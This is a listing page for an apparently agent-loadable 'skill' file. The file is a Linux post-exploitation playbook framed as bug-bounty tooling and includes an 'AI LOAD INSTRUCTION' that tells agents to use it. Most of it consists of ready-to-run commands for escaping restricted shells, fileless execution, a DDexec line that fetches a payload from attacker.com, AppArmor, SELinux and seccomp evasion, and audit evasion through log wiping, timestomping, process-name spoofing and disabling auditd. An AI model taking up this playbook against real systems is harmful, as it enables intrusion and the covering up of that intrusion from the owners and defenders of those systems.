Linux security bypass
Skill ShulkwiSEC/bb-huge/skills/curated/linux-security-bypass
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill linux-security-bypassAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation.
SKILL.md
10.5 KB, ~3.0k tokens by cl100k_base, as published. Nobody here has run it
SKILL: Linux Security Bypass β Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation once you've broken out of restrictions and need to escalate
- container-escape-techniques when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
- linux-lateral-movement after bypassing restrictions for pivoting
- cmdi-command-injection when the restriction is on command execution from a web application context
1. RESTRICTED BASH (rbash) BYPASS
1.1 SSH-Based Bypass
# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"
# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead β often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands
1.2 Editor-Based Escape
# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash
# ed escape
ed
!/bin/bash
# nano (if available)
# Ctrl+R β Ctrl+X β command execution
1.3 Language Interpreter Escape
| Interpreter | Command |
|---|---|
| Python | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Perl | perl -e 'exec "/bin/bash";' |
| Ruby | ruby -e 'exec "/bin/bash"' |
| Lua | lua -e 'os.execute("/bin/bash")' |
| PHP | php -r 'system("/bin/bash");' |
| Node.js | node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})' |
| AWK | awk 'BEGIN {system("/bin/bash")}' |
1.4 Environment Variable Tricks
# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x
# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash
# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash
# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p # git can read arbitrary files
git diff /dev/null /etc/shadow
1.5 Other Escapes
| Method | Command |
|---|---|
expect | expect -c 'spawn /bin/bash; interact' |
script | script -qc /bin/bash /dev/null |
rlwrap | rlwrap /bin/bash |
nmap (old) | nmap --interactive β !bash |
2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION
2.1 DDexec β Execute From stdin via /proc/self/mem
# DDexec overwrites the running process memory with a new binary
# No file written to disk β completely fileless
# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh
# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point
2.2 memfd_create β In-Memory File Descriptor
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0) # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ) # Bypasses noexec
# Perl variant: syscall(319, "", 0) β write to fd β exec /proc/$$/fd/$fd
2.3 ld.so Direct Execution
# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary
2.4 Script Interpreters on noexec
# Scripts still execute on noexec β only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data
python3 /noexec/mount/exploit.py # Works
perl /noexec/mount/exploit.pl # Works
bash /noexec/mount/exploit.sh # Works
# But ./exploit (ELF binary) β "Permission denied"
2.5 Writable Mount Points
# Common writable + exec-capable locations:
/dev/shm # tmpfs β almost always writable + exec
/tmp # Sometimes noexec on hardened systems
/var/tmp # Often writable
/run # tmpfs β check permissions
# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag β if absent, exec is allowed
3. APPARMOR BYPASS
3.1 Profile Enumeration
# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled # Y = enabled
cat /sys/kernel/security/apparmor/profiles # List all profiles
# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile
3.2 Exploitation Strategies
# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined
# Complain mode = effectively no restriction (just logging):
aa-status | grep complain
Common AppArmor profile gaps: /proc/self/fd/* access, abstract Unix sockets, interpreter-based execution (python scripts bypass binary restrictions), and newly created paths.
4. SELINUX BYPASS
4.1 Mode Check
getenforce # Enforcing / Permissive / Disabled
sestatus # Detailed status
cat /etc/selinux/config # Persistent configuration
# Check current context
id -Z
ps auxZ | head -20
4.2 Permissive Domain Exploitation
semanage permissive -l 2>/dev/null # Domains in permissive mode
ps -eZ | grep -i permissive # Processes β can do anything (just logged)
4.3 Context Transition & Booleans
ls -Z /tmp/ # File contexts β tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30 # Transition rules
# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem
5. SECCOMP BYPASS
5.1 Check Seccomp Status
grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter
# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained # Shows blocked/allowed syscalls
5.2 Architecture Confusion (x86 vs x86_64)
# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:
# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11
gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check β bypass
5.3 Allowed Syscall Abuse & Kernel Bugs
Allowed syscalls to abuse creatively: sendmsg/recvmsg (pass FDs between processes), mmap/mprotect (executable memory), process_vm_readv/writev (cross-process memory).
Known seccomp kernel bugs: CVE-2019-2054 (ptrace bypass), io_uring bypassed seccomp entirely (pre-5.12). Check uname -r and compare.
6. AUDIT EVASION
6.1 Timestamp Manipulation
# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file # Copy timestamp from reference
touch -t 202301010000.00 /modified/file # Set specific timestamp
# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries
6.2 Log Tampering & Process Spoofing
sed -i '/pattern/d' /var/log/auth.log # Remove specific entries
echo "" > /var/log/wtmp # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s # Clear journal
# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)
# Disable audit (if root):
auditctl -e 0 && service auditd stop
7. LINUX SECURITY BYPASS DECISION TREE
Security mechanism identified?
β
βββ Restricted shell (rbash)?
β βββ SSH access? β ssh -t "bash --noprofile --norc" (Β§1.1)
β βββ Editor available? β vi :!/bin/bash (Β§1.2)
β βββ Language interpreter? β python/perl/ruby escape (Β§1.3)
β βββ env command? β env /bin/bash (Β§1.4)
β βββ Allowed commands with escape? β git/man/less β !bash (Β§1.5)
β
βββ noexec filesystem?
β βββ Script interpreters available? β bash/python/perl scripts work (Β§2.4)
β βββ /dev/shm writable + exec? β copy binary there (Β§2.5)
β βββ memfd_create available? β fileless execution (Β§2.2)
β βββ ld.so accessible? β ld.so /path/to/binary (Β§2.3)
β βββ Last resort β DDexec via /proc/self/mem (Β§2.1)
β
βββ AppArmor enforcing?
β βββ Profile in complain mode? β no restriction, just logging (Β§3.3)
β βββ Unconfined processes exist? β inject/migrate to them (Β§3.2)
β βββ Profile missing path coverage? β use uncovered paths (Β§3.4)
β βββ Interpreter not restricted? β script-based execution
β
βββ SELinux enforcing?
β βββ Domain set to permissive? β exploit that domain (Β§4.2)
β βββ Dangerous booleans enabled? β abuse allowed actions (Β§4.4)
β βββ Context transition available? β execute binary with transition (Β§4.3)
β βββ Kernel CVE? β SELinux bypass exploit
β
βββ seccomp filter active?
β βββ Architecture check missing? β 32-bit syscall confusion (Β§5.2)
β βββ Allowed syscalls exploitable? β sendmsg/mmap abuse (Β§5.3)
β βββ Kernel bug? β io_uring/ptrace bypass (Β§5.4)
β βββ Check what's blocked β amicontained (Β§5.1)
β
βββ Audit logging?
βββ Writable logs? β delete/modify entries (Β§6.2)
βββ Root access? β disable auditd (Β§6.4)
βββ Need stealth? β process name spoofing (Β§6.3)
βββ File changes tracked? β timestamp manipulation (Β§6.1)